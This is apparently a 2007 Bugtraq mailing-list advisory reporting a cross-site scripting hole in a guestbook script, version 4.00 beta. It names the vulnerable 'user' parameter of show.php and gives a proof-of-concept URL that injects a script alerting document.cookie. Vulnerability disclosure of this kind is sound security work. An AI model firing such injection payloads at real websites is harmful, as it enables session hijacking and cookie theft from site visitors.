[<prev] [next>] [day] [month] [year] [list]
Message-ID: <20070121011601.28648.qmail@securityfocus.com>
Date: 21 Jan 2007 01:16:01 -0000
From: xx_hack_xx_2004@...mail.com
To: bugtraq@...urityfocus.com
Subject: XSS in Guestbook ( v.4.00 beta )
Hello
Vulnerable : Guestbook ( By 212cafe.com )
Version: v.4.00 beta
Web : http://www.212cafe.com
Exploit :
http://www.example.com/guestbookv4.0/show.php?user=[XSS]
Example :
http://www.example.com/guestbookv4.0/show.php?user='><script>alert(document.cookie);</script>
-----
Discoverey By Linux_Drox
www.LeZr.Com/vb
Best Regards ,,,,
Powered by blists - more mailing lists